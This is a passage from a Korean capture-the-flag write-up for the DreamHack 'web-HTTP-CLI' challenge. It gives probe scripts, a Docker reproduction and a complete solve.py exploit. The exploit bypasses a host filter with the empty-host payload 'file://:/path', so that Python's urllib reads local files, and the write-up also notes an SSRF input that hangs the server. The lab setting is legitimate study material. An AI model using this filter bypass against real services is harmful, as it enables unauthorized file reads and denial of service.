http://localhost:8000/ ์€ cant use localhost, http://127.0.0.1:8000/ ์€ cant use . ๋กœ ์ฐจ๋‹จ ๋ฉ”์‹œ์ง€๊ฐ€ ์ œ๋Œ€๋กœ ๋‚˜์˜จ๋‹ค. ์ฝœ๋ก ์ด ํ•˜๋‚˜์”ฉ ์žˆ์–ด์„œ ์–ธํŒจํ‚น์„ ํ†ต๊ณผํ–ˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

๋ฐ˜๋ฉด file:// ์„ธ ์Šฌ๋ž˜์‹œ ๊ณ„์—ด์€ ์ „๋ถ€ error. ๊ฐ™์€ ๋ฉ”์‹œ์ง€์ง€๋งŒ ์›์ธ์ด ์™„์ „ํžˆ ๋‹ค๋ฅด๋‹ค. except: ๊ฐ€ ๋ญ‰๊ฐ  ํƒ“์— ๊ฒ‰์œผ๋กœ๋Š” ๊ตฌ๋ถ„์ด ์•ˆ ๋œ๋‹ค.

์—ฌ๊ธฐ์„œ ๋ฐฉํ–ฅ์ด ์žกํžŒ๋‹ค. ๋ง‰ํžŒ ๊ฑด file:// ์Šคํ‚ด์ด ์•„๋‹ˆ๋ผ ์ฝœ๋ก  ๊ฐœ์ˆ˜๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 2 โ€” ์ฝœ๋ก ๋งŒ ๋งž์ถ”๋ฉด ์•„๋ฌด ํ˜ธ์ŠคํŠธ๋‚˜ ๋˜๋Š” ๊ฑด ์•„๋‹ˆ๋‹ค

์ฝœ๋ก ์ด ํ•˜๋‚˜๋ฉด ์–ธํŒจํ‚น์€ ํ†ต๊ณผํ•œ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ์  ์—†๋Š” ํ˜ธ์ŠคํŠธ ์•„๋ฌด๊ฑฐ๋‚˜ ๋ถ™์—ฌ๋„ ๋˜๋Š” ๊ฒƒ ์•„๋‹Œ๊ฐ€? file://a:1/app/flag.txt ๋Š” host='a', port='1' ๋กœ ํ•„ํ„ฐ๋ฅผ ๋ฉ€์ฉกํžˆ ํ†ต๊ณผํ•œ๋‹ค.

ํ†ต๊ณผํ•˜๋Š”๋ฐ, ํŒŒ์ผ์ด ์•ˆ ์—ด๋ฆฐ๋‹ค. ํ•„ํ„ฐ๋ฅผ ์ง€๋‚˜๋„ urllib ์ด ๊ฑฐ๋ถ€ํ•œ๋‹ค. ๊ทธ ๊ฒฝ๊ณ„๋ฅผ ํ™•์ธํ•˜๋ ค๊ณ  ๋‘ ๋ฒˆ์งธ ํƒ์นจ์„ ๋งŒ๋“ค์—ˆ๋‹ค.

#!/usr/bin/env python3
"""ํ•„ํ„ฐ(โ‘ โ‘ก)๋Š” ํ†ต๊ณผํ•˜์ง€๋งŒ urllib(โ‘ข)์—์„œ ๊ฐˆ๋ฆฌ๋Š” netloc ๋“ค์„ ์‹ค์ œ๋กœ ๋ฌผ์–ด๋ณธ๋‹ค."""
import socket
import sys
 
CASES = [
    ("file://:/app/flag.txt", "๋นˆ ํ˜ธ์ŠคํŠธ + ๋นˆ ํฌํŠธ"),
    ("file://:1/app/flag.txt", "๋นˆ ํ˜ธ์ŠคํŠธ + ํฌํŠธ 1"),
    ("file://a:1/app/flag.txt", "ํ˜ธ์ŠคํŠธ 'a' (์  ์—†์Œ) + ํฌํŠธ 1"),
    ("file://0:/app/flag.txt", "ํ˜ธ์ŠคํŠธ '0' (์  ์—†์Œ)"),
    ("http://0:8000/", "์ž๊ธฐ ์ž์‹ ์—๊ฒŒ HTTP ๋กœ SSRF"),
]
 
 
def recv_until_prompt(sock, timeout=8.0):
    sock.settimeout(timeout)
    buf = b""
    while True:
        try:
            chunk = sock.recv(4096)
        except socket.timeout:
            break
        if not chunk:
            break
        buf += chunk
        if buf.endswith(b"> "):
            break
    return buf.decode(errors="replace")
 
 
def main():
    host, port = sys.argv[1], int(sys.argv[2])
    with socket.create_connection((host, port), timeout=10) as s:
        recv_until_prompt(s)
        for url, why in CASES:
            s.sendall((url + "\n").encode())
            body = recv_until_prompt(s).rsplit("> ", 1)[0].strip()
            if len(body) > 90:
                body = body[:90] + " ...(์ƒ๋žต)"
            print("%-26s %-30s => %s" % (url, "[" + why + "]", body or "(๋ฌด์‘๋‹ต)"))
        s.sendall(b"\n")
 
 
if __name__ == "__main__":
    main()

probe_hosts.py ์‹คํ–‰ ๊ฒฐ๊ณผ ํ„ฐ๋ฏธ๋„. ๋นˆ ํ˜ธ์ŠคํŠธ ๋‘ ๊ฐœ๋Š” ๋”๋ฏธ ํ”Œ๋ž˜๊ทธ๋ฅผ ๋Œ๋ ค์ฃผ๊ณ , ํ˜ธ์ŠคํŠธ a ์™€ 0 ์€ error, ๋งˆ์ง€๋ง‰ ์ž๊ธฐ์ฐธ์กฐ SSRF ๋Š” ๋ฌด์‘๋‹ต์ด๋‹ค.
probe_hosts.py ์‹คํ–‰ ๊ฒฐ๊ณผ ํ„ฐ๋ฏธ๋„. ๋นˆ ํ˜ธ์ŠคํŠธ ๋‘ ๊ฐœ๋Š” ๋”๋ฏธ ํ”Œ๋ž˜๊ทธ๋ฅผ ๋Œ๋ ค์ฃผ๊ณ , ํ˜ธ์ŠคํŠธ a ์™€ 0 ์€ error, ๋งˆ์ง€๋ง‰ ์ž๊ธฐ์ฐธ์กฐ SSRF ๋Š” ๋ฌด์‘๋‹ต์ด๋‹ค.

๋นˆ ํ˜ธ์ŠคํŠธ๋งŒ ํŒŒ์ผ์„ ์—ฐ๋‹ค. a ๋„ 0 ๋„ ์•ˆ ๋œ๋‹ค. urllib ์€ ํ˜ธ์ŠคํŠธ๊ฐ€ ๋น„์–ด ์žˆ์ง€ ์•Š์œผ๋ฉด ๊ทธ ์ด๋ฆ„์„ ์‹ค์ œ๋กœ ํ•ด์„ํ•ด์„œ ์ด ๋จธ์‹ ์˜ ์ด๋ฆ„ ๋ชฉ๋ก์— ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ , ์•„๋‹ˆ๋ฉด URLError('file not on local host') ๋ฅผ ๋˜์ง„๋‹ค. ํฌํŠธ๋ฅผ ๋ถ™์ด๋ฉด ๊ทธ ํ™•์ธ๋งˆ์ € ๊ฑด๋„ˆ๋›ฐ๊ณ  ๋ฐ”๋กœ ์‹คํŒจํ•œ๋‹ค.

๋งˆ์ง€๋ง‰ ์ค„๋„ ๋ณผ ๋งŒํ•˜๋‹ค. http://0:8000/ ์€ ์„œ๋น„์Šค๊ฐ€ ์ž๊ธฐ ์ž์‹ ์—๊ฒŒ HTTP ์š”์ฒญ์„ ๋ณด๋‚ด๊ฒŒ ํ•˜๋Š” ์‹œ๋„์ธ๋ฐ, ์‘๋‹ต์ด ์•„์˜ˆ ์—†๋‹ค. ์ด ์„œ๋ฒ„๋Š” ์‹ฑ๊ธ€ ์Šค๋ ˆ๋“œ๋กœ accept() ๋ฅผ ๋„๋Š” ๊ตฌ์กฐ๋ผ, ์ง€๊ธˆ ๋‚ด ์—ฐ๊ฒฐ์„ ์ฒ˜๋ฆฌํ•˜๋Š” ๋™์•ˆ์—๋Š” ์ƒˆ ์—ฐ๊ฒฐ์„ ๋ฐ›์ง€ ๋ชปํ•œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ urlopen ์€ ํƒ€์ž„์•„์›ƒ ์—†์ด ์‘๋‹ต์„ ๊ธฐ๋‹ค๋ฆฐ๋‹ค. ์„œ๋กœ๋ฅผ ๊ธฐ๋‹ค๋ฆฌ๋ฉฐ ๊ตณ๋Š”๋‹ค.

ํ•œ ๋ฒˆ ์ด๊ฑธ ๋„ฃ์œผ๋ฉด ๊ทธ ์ธ์Šคํ„ด์Šค๋Š” ๊ทธ๋Œ€๋กœ ๋ฉŽ๋Š”๋‹ค. ๋กœ์ปฌ ์ปจํ…Œ์ด๋„ˆ๋กœ ํ™•์ธํ•ด์„œ ๋‹คํ–‰์ด์—ˆ์ง€, ๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค์— ๋„ฃ์—ˆ์œผ๋ฉด VM ํฌ๋ ˆ๋”ง ํ•˜๋‚˜๋ฅผ ๊ทธ๋ƒฅ ๋‚ ๋ฆด ๋ป”ํ–ˆ๋‹ค.



๐Ÿ’ฃ ํ•ต์‹ฌ โ€” netloc ์„ ์ฝœ๋ก  ํ•˜๋‚˜๋กœ

์ด์ œ ์กฐ๊ฑด์ด ์ •๋ฆฌ๋œ๋‹ค. ํ•„์š”ํ•œ URL ์€ ๋‹ค์Œ ์…‹์„ ๋™์‹œ์— ๋งŒ์กฑํ•ด์•ผ ํ•œ๋‹ค.

  1. netloc ์•ˆ์— ์ฝœ๋ก ์ด ์ •ํ™•ํžˆ ํ•˜๋‚˜ โ€” ๊ทธ๋ž˜์•ผ (host, port) ์–ธํŒจํ‚น์ด ์„ฑ๋ฆฝํ•œ๋‹ค
  2. ์ฝœ๋ก  ์•ž์˜ ํ˜ธ์ŠคํŠธ๊ฐ€ localhost ๊ฐ€ ์•„๋‹ˆ๊ณ  ์ ์„ ํฌํ•จํ•˜์ง€ ์•Š์„ ๊ฒƒ
  3. urllib ์ž…์žฅ์—์„œ๋Š” ๊ทธ authority ๊ฐ€ ๋กœ์ปฌ๋กœ ์ฝํž ๊ฒƒ

์„ธ ์กฐ๊ฑด์„ ํ•œ๊บผ๋ฒˆ์— ๋งŒ์กฑ์‹œํ‚ค๋Š” ๊ฒŒ ๋นˆ ํ˜ธ์ŠคํŠธ๋‹ค. netloc ์„ : ํ•œ ๊ธ€์ž๋กœ ๋‘๋ฉด ๋œ๋‹ค.

file://:/app/flag.txt

'://' ๋กœ ์ž๋ฅธ ๋’ค ์ฒซ ์Šฌ๋ž˜์‹œ๊นŒ์ง€๊ฐ€ netloc ์ด๋ฏ€๋กœ netloc ์€ ':' ์ด๊ณ , ':'.split(':') ์€ ['', ''] โ€” ์›์†Œ ๋‘ ๊ฐœ๋‹ค. ์–ธํŒจํ‚น ํ†ต๊ณผ. host ๋Š” ๋นˆ ๋ฌธ์ž์—ด์ด๋ผ localhost ๋„ ์•„๋‹ˆ๊ณ  ์ ๋„ ์—†๋‹ค. ๊ฒ€์‚ฌ ํ†ต๊ณผ.

URL ํ•œ ์ค„์ด ์ง€๋‚˜๊ฐ€๋Š” ์„ธ ๊ฐœ์˜ ๊ด€๋ฌธ์„ ๊ทธ๋ฆฐ ํ๋ฆ„๋„. 1๋‹จ๊ณ„ get_host_port ์–ธํŒจํ‚น, 2๋‹จ๊ณ„ ํ˜ธ์ŠคํŠธ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ, 3๋‹จ๊ณ„ urlopen ์˜ FileHandler ๋กœ ์ด์–ด์ง€๊ณ  ์„ธ ์Šฌ๋ž˜์‹œ ๊ณ„์—ด์€ 1๋‹จ๊ณ„์—์„œ error ๋กœ ๋น ์ง„๋‹ค.
URL ํ•œ ์ค„์ด ์ง€๋‚˜๊ฐ€๋Š” ์„ธ ๊ฐœ์˜ ๊ด€๋ฌธ์„ ๊ทธ๋ฆฐ ํ๋ฆ„๋„. 1๋‹จ๊ณ„ get_host_port ์–ธํŒจํ‚น, 2๋‹จ๊ณ„ ํ˜ธ์ŠคํŠธ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ, 3๋‹จ๊ณ„ urlopen ์˜ FileHandler ๋กœ ์ด์–ด์ง€๊ณ  ์„ธ ์Šฌ๋ž˜์‹œ ๊ณ„์—ด์€ 1๋‹จ๊ณ„์—์„œ error ๋กœ ๋น ์ง„๋‹ค.

๋‚จ์€ ๊ฑด ์„ธ ๋ฒˆ์งธ ์กฐ๊ฑด, urllib ์ด ์ด authority ๋ฅผ ์–ด๋–ป๊ฒŒ ์ฝ๋А๋ƒ๋‹ค. ์ด๊ฑด ์ถ”์ธกํ•  ํ•„์š” ์—†์ด ํ‘œ์ค€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ์ง์ ‘ ๋ฌผ์–ด๋ณด๋ฉด ๋œ๋‹ค.

#!/usr/bin/env python3
"""urllib ์ด 'file://:' ๋ฅผ ์™œ ๋กœ์ปฌ ํŒŒ์ผ๋กœ ๋ฐ›์•„ ์ฃผ๋Š”์ง€ ํ‘œ์ค€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์—์„œ ์ง์ ‘ ํ™•์ธํ•œ๋‹ค."""
import inspect
import os
import tempfile
import urllib.request
from urllib.request import _splitport, Request
 
URL = "file://:/etc/hostname"
 
req = Request(URL)
print("[1] Request(%r)" % URL)
print("    req.type     =", repr(req.type))
print("    req.host     =", repr(req.host))
print("    req.selector =", repr(req.selector))
 
print("\n[2] _splitport(req.host) ->", repr(_splitport(req.host)))
print("    ํ˜ธ์ŠคํŠธ๊ฐ€ ๋นˆ ๋ฌธ์ž์—ด๋กœ ๋–จ์–ด์ง„๋‹ค = urllib ์ด '๋กœ์ปฌ'๋กœ ํŒ์ •ํ•˜๋Š” ์กฐ๊ฑด")
 
print("\n[3] FileHandler.open_local_file ์˜ ํŒ์ • ๋ถ€๋ถ„")
src = inspect.getsource(urllib.request.FileHandler.open_local_file).splitlines()
for line in src:
    if any(k in line for k in ("_splitport", "if not host", "origurl", "addinfourl", "URLError('file")):
        print("   ", line.strip())
 
print("\n[4] ์‹ค์ œ๋กœ ์—ด๋ฆฌ๋Š”๊ฐ€")
fd, path = tempfile.mkstemp(prefix="urllib_probe_")
os.write(fd, b"local-file-read-ok\n")
os.close(fd)
try:
    body = urllib.request.urlopen("file://:" + path).read()
    print("    urlopen('file://:%s').read() = %r" % (path, body))
finally:
    os.unlink(path)

urllib_inspect.py ์‹คํ–‰ ๊ฒฐ๊ณผ ํ„ฐ๋ฏธ๋„. Request ์˜ host ๊ฐ€ ์ฝœ๋ก  ํ•œ ๊ธ€์ž, _splitport ๊ฒฐ๊ณผ๊ฐ€ ๋นˆ ๋ฌธ์ž์—ด๊ณผ None, inspect.getsource ๋กœ ๋ฝ‘์€ FileHandler.open_local_file ์ฝ”๋“œ ์กฐ๊ฐ, ๋งˆ์ง€๋ง‰์œผ๋กœ ์ž„์‹œ ํŒŒ์ผ์„ ์‹ค์ œ๋กœ ์ฝ์–ด ๋‚ธ ๊ฒฐ๊ณผ๊ฐ€ ๋ณด์ธ๋‹ค.
urllib_inspect.py ์‹คํ–‰ ๊ฒฐ๊ณผ ํ„ฐ๋ฏธ๋„. Request ์˜ host ๊ฐ€ ์ฝœ๋ก  ํ•œ ๊ธ€์ž, _splitport ๊ฒฐ๊ณผ๊ฐ€ ๋นˆ ๋ฌธ์ž์—ด๊ณผ None, inspect.getsource ๋กœ ๋ฝ‘์€ FileHandler.open_local_file ์ฝ”๋“œ ์กฐ๊ฐ, ๋งˆ์ง€๋ง‰์œผ๋กœ ์ž„์‹œ ํŒŒ์ผ์„ ์‹ค์ œ๋กœ ์ฝ์–ด ๋‚ธ ๊ฒฐ๊ณผ๊ฐ€ ๋ณด์ธ๋‹ค.

๋„ค ๋‹จ๊ณ„๊ฐ€ ๊ทธ๋Œ€๋กœ ์ด์–ด์ง„๋‹ค.

Request('file://:/etc/hostname') ์„ ๋งŒ๋“ค๋ฉด req.host ๋Š” ':', req.selector ๋Š” '/etc/hostname' ์ด๋‹ค. ์—ฌ๊ธฐ์„œ ์ด๋ฏธ ๊ฒฝ๋กœ๊ฐ€ authority ์™€ ๋ถ„๋ฆฌ๋ผ ์žˆ๋‹ค.

๊ทธ๋‹ค์Œ _splitport(':') ์ด ('', None) ์„ ๋Œ๋ ค์ค€๋‹ค. ์ด ํ•จ์ˆ˜๋Š” (.*):([0-9]*) ๋กœ ๋งค์นญํ•˜๋Š”๋ฐ, ':' ์€ ์•ž์ด ๋นˆ ๋ฌธ์ž์—ด์ด๊ณ  ๋’ค๋„ ๋นˆ ๋ฌธ์ž์—ด์ด๋ผ ํฌํŠธ๊ฐ€ ์—†๋Š” ๊ฒƒ์œผ๋กœ ๋ณด๊ณ  ํ˜ธ์ŠคํŠธ๋งŒ ๋นˆ ๋ฌธ์ž์—ด๋กœ ์ž˜๋ผ ๋Œ๋ ค์ค€๋‹ค.

๊ทธ๋ฆฌ๊ณ  open_local_file ์•ˆ์˜ ํŒ์ •์ด if not host: ๋‹ค. ๋นˆ ๋ฌธ์ž์—ด์€ ๊ฑฐ์ง“์ด๋ฏ€๋กœ ์ด ๊ฐ€์ง€๋ฅผ ํƒ€๊ณ  open(localfile, 'rb') ๋กœ ์งํ–‰ํ•œ๋‹ค. ์›๊ฒฉ ํ˜ธ์ŠคํŠธ์ธ์ง€ ํ™•์ธํ•˜๋Š” _safe_gethostbyname ๋„, URLError('file not on local host') ๋„ ์ง€๋‚˜์น˜์ง€ ์•Š๋Š”๋‹ค.

๋งˆ์ง€๋ง‰ ์ค„์ด ๊ฒฐ๋ก ์ด๋‹ค. ์ž„์‹œ ํŒŒ์ผ์„ ๋งŒ๋“ค์–ด file://: ๋ฅผ ์•ž์— ๋ถ™์—ฌ ์—ด์—ˆ๋”๋‹ˆ ๋‚ด์šฉ์ด ๊ทธ๋Œ€๋กœ ๋‚˜์™”๋‹ค.

์ •๋ฆฌํ•˜๋ฉด ์ด๋ ‡๋‹ค. ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” host ์™€ urllib ์ด ๋ณด๋Š” host ๋Š” ๊ฐ™์€ ๋ฌธ์ž์—ด์—์„œ ์„œ๋กœ ๋‹ค๋ฅธ ๊ฐ’์„ ๋ฝ‘๋Š”๋‹ค. ํ•„ํ„ฐ๋Š” ':' ๋ฅผ ['', ''] ๋กœ ์ชผ๊ฐœ "ํ˜ธ์ŠคํŠธ๋Š” ๋นˆ ๋ฌธ์ž์—ด, ํฌํŠธ๋Š” ๋นˆ ๋ฌธ์ž์—ด"์ด๋ผ๊ณ  ์ฝ๊ณ , urllib ์€ ':' ๋ฅผ "ํฌํŠธ ์—†๋Š” ๋นˆ ํ˜ธ์ŠคํŠธ"๋ผ๊ณ  ์ฝ๋Š”๋‹ค. ๊ฒฐ๋ก ์ด ์šฐ์—ฐํžˆ ๊ฐ™์•„ ๋ณด์ด์ง€๋งŒ, ํ•œ์ชฝ์€ ๊ทธ๊ฑธ "์•ˆ์ „ํ•œ ํ˜ธ์ŠคํŠธ"๋กœ, ๋‹ค๋ฅธ ์ชฝ์€ "๋กœ์ปฌ"๋กœ ํ•ด์„ํ•œ๋‹ค. ๊ทธ ํ‹ˆ์ด ์ด ๋ฌธ์ œ์˜ ์ „๋ถ€๋‹ค.


๐ŸŽฏ ๋กœ์ปฌ ๊ฒ€์ฆ โ€” ์„œ๋ฒ„๋ฅผ ์ผœ๊ธฐ ์ „์—

๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค์— ๋ถ™์–ด์„œ ํ•˜๋‚˜์”ฉ ์ฐ”๋Ÿฌ ๋ณด๊ณ  ์‹ถ์€ ์œ ํ˜น์ด ์žˆ์ง€๋งŒ, ์•ž์˜ ์‚ฝ์งˆ 2 ์—์„œ ๋ดค๋“ฏ ์ž˜๋ชป ๋„ฃ์œผ๋ฉด ์ธ์Šคํ„ด์Šค๊ฐ€ ๋ฉŽ๋Š”๋‹ค. ๋ฐฐํฌ๋ณธ์ด app.py ํ•˜๋‚˜๋ฟ์ด๋ผ ๋กœ์ปฌ์— ๊ทธ๋Œ€๋กœ ์„ธ์šฐ๋Š” ๊ฒŒ ํ›จ์”ฌ ๋น ๋ฅด๋‹ค.

Dockerfile ์€ ์„ธ ์ค„์ด๋ฉด ๋œ๋‹ค. ํ”Œ๋ž˜๊ทธ ๊ฒฝ๋กœ๊ฐ€ /app/flag.txt ๋ผ๋Š” ๊ฒƒ๋งŒ ๋งž์ถฐ ์ค€๋‹ค.

FROM python:3.8-slim
WORKDIR /app
COPY app.py /app/app.py
COPY flag.txt /app/flag.txt
EXPOSE 8000
CMD ["python3", "/app/app.py"]

๋นŒ๋“œยท๊ธฐ๋™ยท๊ฒ€์ฆ์„ ํ•œ ๋ฒˆ์— ๋„๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋งŒ๋“ค์–ด ๋’€๋‹ค.

#!/usr/bin/env bash
# web-HTTP-CLI ๋กœ์ปฌ ์žฌํ˜„ โ€” ๋ฐฐํฌ๋œ app.py ๋ฅผ ๊ทธ๋Œ€๋กœ ์ปจํ…Œ์ด๋„ˆ์— ์˜ฌ๋ฆฌ๊ณ  ๋”๋ฏธ flag ๋กœ ์ต์Šค๋ฅผ ๊ฒ€์ฆํ•œ๋‹ค.
# ๋ฌธ์ œ ์„œ๋ฒ„(VM)๋ฅผ ์ผœ๊ธฐ ์ „์— ์—ฌ๊ธฐ์„œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ํ™•์ •ํ•œ๋‹ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
PORT="${PORT:-18777}"
 
# local/ ์€ extracted/app.py + ๋”๋ฏธ flag.txt + Dockerfile ์„ธ ๊ฐœ๋ฟ์ด๋‹ค
cp -f extracted/app.py local/app.py
printf 'DH{dummy_local_flag_for_repro}\n' > local/flag.txt
 
docker build -q -t webhttpcli-local ./local
docker rm -f webhttpcli-local >/dev/null 2>&1 || true
docker run -d --name webhttpcli-local -p "${PORT}:8000" webhttpcli-local >/dev/null
sleep 2
docker ps --filter name=webhttpcli-local --format 'container: {{.Names}}  {{.Status}}  {{.Ports}}'
 
python3 solve.py 127.0.0.1 "$PORT" --path /app/flag.txt

local_repro.sh ์‹คํ–‰ ๊ฒฐ๊ณผ ํ„ฐ๋ฏธ๋„. docker build ๊ฐ€ ์ด๋ฏธ์ง€ ํ•ด์‹œ๋ฅผ ์ฐ๊ณ  ์ปจํ…Œ์ด๋„ˆ๊ฐ€ 18777 ํฌํŠธ๋กœ ๋œฌ ๋’ค, solve.py ๊ฐ€ ๋ฐฐ๋„ˆ๋ฅผ ๋ฐ›๊ณ  file://:/app/flag.txt ๋ฅผ ๋ณด๋‚ด ๋”๋ฏธ ํ”Œ๋ž˜๊ทธ๋ฅผ ํšŒ์ˆ˜ํ–ˆ๋‹ค.
local_repro.sh ์‹คํ–‰ ๊ฒฐ๊ณผ ํ„ฐ๋ฏธ๋„. docker build ๊ฐ€ ์ด๋ฏธ์ง€ ํ•ด์‹œ๋ฅผ ์ฐ๊ณ  ์ปจํ…Œ์ด๋„ˆ๊ฐ€ 18777 ํฌํŠธ๋กœ ๋œฌ ๋’ค, solve.py ๊ฐ€ ๋ฐฐ๋„ˆ๋ฅผ ๋ฐ›๊ณ  file://:/app/flag.txt ๋ฅผ ๋ณด๋‚ด ๋”๋ฏธ ํ”Œ๋ž˜๊ทธ๋ฅผ ํšŒ์ˆ˜ํ–ˆ๋‹ค.

์ปจํ…Œ์ด๋„ˆ๊ฐ€ ๋œจ์ž๋งˆ์ž ํŽ˜์ด๋กœ๋“œ ํ•œ ์ค„๋กœ ๋”๋ฏธ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋‚˜์˜จ๋‹ค. ์—ฌ๊ธฐ๊นŒ์ง€ ํ™•์ธํ•œ ๋’ค์—์•ผ ๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค๋ฅผ ์ผฐ๋‹ค.


๐Ÿš€ Full Exploit

solve.py ์ „๋ฌธ์ด๋‹ค. ์ธ์ž๋กœ ํ˜ธ์ŠคํŠธ์™€ ํฌํŠธ๋ฅผ ๋ฐ›๊ณ , --path ๋กœ ์ฝ์„ ํŒŒ์ผ์„ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ๋‹ค.

#!/usr/bin/env python3
"""web-HTTP-CLI (DreamHack, Silver 2 / web) โ€” solver
 
app.py ์˜ ํ˜ธ์ŠคํŠธ ํ•„ํ„ฐ๋Š” URL ์˜ netloc ์„ ์ฝœ๋ก ์œผ๋กœ ์ชผ๊ฐ  ๊ฒฐ๊ณผ๊ฐ€ ์ •ํ™•ํžˆ 2๊ฐœ์ผ ๋•Œ๋งŒ
ํ†ต๊ณผํ•œ๋‹ค. ๋นˆ ํ˜ธ์ŠคํŠธ(":") ๋ฅผ ์“ฐ๋ฉด host='' ๊ฐ€ ๋˜์–ด 'localhost' ๋„ ์•„๋‹ˆ๊ณ  '.' ๋„ ์—†์œผ๋ฏ€๋กœ
ํ•„ํ„ฐ๋ฅผ ๊ทธ๋Œ€๋กœ ์ง€๋‚˜๊ฐ„๋‹ค. ์Šคํ‚ด ๊ฒ€์‚ฌ๋Š” ์•„์˜ˆ ์—†์œผ๋ฏ€๋กœ file:// ๋ฅผ ๊ทธ๋Œ€๋กœ ์“ธ ์ˆ˜ ์žˆ๊ณ ,
urllib ์˜ FileHandler ๋Š” host ๊ฐ€ ๋น„๋ฉด ๋กœ์ปฌ ํŒŒ์ผ๋กœ ์—ด์–ด ์ค€๋‹ค.
 
    $ python3 solve.py host3.dreamhack.games 12345
    $ python3 solve.py 127.0.0.1 18777 --path /app/flag.txt
"""
import argparse
import socket
import sys
 
PAYLOAD = "file://:{path}"
 
 
def read_until_prompt(sock, timeout=5.0):
    """์„œ๋ฒ„๊ฐ€ ๋‹ค์Œ '> ' ํ”„๋กฌํ”„ํŠธ๋ฅผ ๋‚ผ ๋•Œ๊นŒ์ง€ ์ฝ์–ด ๋ชจ์€ ๋ฐ”์ดํŠธ๋ฅผ ๋Œ๋ ค์ค€๋‹ค."""
    sock.settimeout(timeout)
    buf = b""
    while True:
        try:
            chunk = sock.recv(4096)
        except socket.timeout:
            break
        if not chunk:
            break
        buf += chunk
        if buf.endswith(b"> "):
            break
    return buf
 
 
def run(host, port, path):
    url = PAYLOAD.format(path=path)
    with socket.create_connection((host, port), timeout=10) as s:
        banner = read_until_prompt(s)
        sys.stdout.write("[banner]\n" + banner.decode(errors="replace") + "\n")
 
        sys.stdout.write("[send] %s\n" % url)
        s.sendall((url + "\n").encode())
        resp = read_until_prompt(s)
        text = resp.decode(errors="replace")
        sys.stdout.write("[recv] " + text + "\n")
 
        s.sendall(b"\n")  # ๋นˆ ์ค„์„ ๋ณด๋‚ด๋ฉด ์„œ๋ฒ„๊ฐ€ ์—ฐ๊ฒฐ์„ ๋‹ซ๋Š”๋‹ค
        return text
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("host")
    ap.add_argument("port", type=int)
    ap.add_argument("--path", default="/app/flag.txt")
    a = ap.parse_args()
 
    text = run(a.host, a.port, a.path)
    for line in text.splitlines():
        if "DH{" in line:
            flag = line[line.index("DH{"):]
            flag = flag[: flag.index("}") + 1]
            print("\n[FLAG] " + flag)
            return 0
    print("\n[!] ํ”Œ๋ž˜๊ทธ ๋ฌธ์ž์—ด์„ ๋ชป ์ฐพ์•˜๋‹ค")
    return 1
 
 
if __name__ == "__main__":
    sys.exit(main())

๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค์— ๊ทธ๋Œ€๋กœ ๋Œ๋ฆฐ ๊ฒฐ๊ณผ๋‹ค.

solve.py ๋ฅผ ๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค์— ๋Œ๋ฆฐ ํ„ฐ๋ฏธ๋„. ๋ฐฐ๋„ˆ๋ฅผ ๋ฐ›๊ณ  file://:/app/flag.txt ๋ฅผ ๋ณด๋‚ธ ๋’ค result ๋กœ ์ง„์งœ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋Œ์•„์™”๋‹ค.
solve.py ๋ฅผ ๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค์— ๋Œ๋ฆฐ ํ„ฐ๋ฏธ๋„. ๋ฐฐ๋„ˆ๋ฅผ ๋ฐ›๊ณ  file://:/app/flag.txt ๋ฅผ ๋ณด๋‚ธ ๋’ค result ๋กœ ์ง„์งœ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋Œ์•„์™”๋‹ค.

[send] file://:/app/flag.txt
[recv] result: DH{5e2c73de0f2b273731665914bfaff022}>
 
[FLAG] DH{5e2c73de0f2b273731665914bfaff022}

์™•๋ณต ํ•œ ๋ฒˆ์ด๋ฉด ๋๋‚œ๋‹ค. ๋กœ์ปฌ์—์„œ ํ™•์ธํ•œ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋จนํ˜”๋‹ค.

์žฌํ˜„์šฉ ์Šคํฌ๋ฆฝํŠธ๋„ ๊ฐ™์ด ๋‚จ๊ฒจ ๋’€๋‹ค. ์ธ์ž ์—†์ด ๋Œ๋ฆฌ๋ฉด ๋กœ์ปฌ ๋ชจ๋“œ๋กœ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์„ธ์›Œ ์ต์Šค ์ฒด์ธ๋งŒ ๊ฒ€์ฆํ•˜๊ณ , ํ˜ธ์ŠคํŠธ์™€ ํฌํŠธ๋ฅผ ์ฃผ๋ฉด ๋ผ์ด๋ธŒ ๋ชจ๋“œ๋กœ ์ง„์งœ ํ”Œ๋ž˜๊ทธ๋ฅผ ๋”ด๋‹ค. ๋กœ์ปฌ ๋ชจ๋“œ๊ฐ€ ์–ป๋Š” ๊ฑด ๋”๋ฏธ ํ”Œ๋ž˜๊ทธ์ด๋ฏ€๋กœ ์ถœ๋ ฅ์— ๊ทธ๋ ‡๊ฒŒ ๋ช…์‹œํ•œ๋‹ค.

#!/usr/bin/env bash
# web-HTTP-CLI (DreamHack Silver 2 / web) โ€” ํ•œ ๋ฐฉ ์žฌํ˜„.
#
#   ./reproduce.sh                          ๋กœ์ปฌ ๋ชจ๋“œ(๊ธฐ๋ณธ): Docker ๋กœ ๋ฐฐํฌ๋ณธ์„ ๊ทธ๋Œ€๋กœ ๋„์›Œ
#                                           ์ต์Šค ์ฒด์ธ์ด ๋„๋Š”์ง€ ๋”๋ฏธ flag ๋กœ ๊ฒ€์ฆํ•œ๋‹ค.
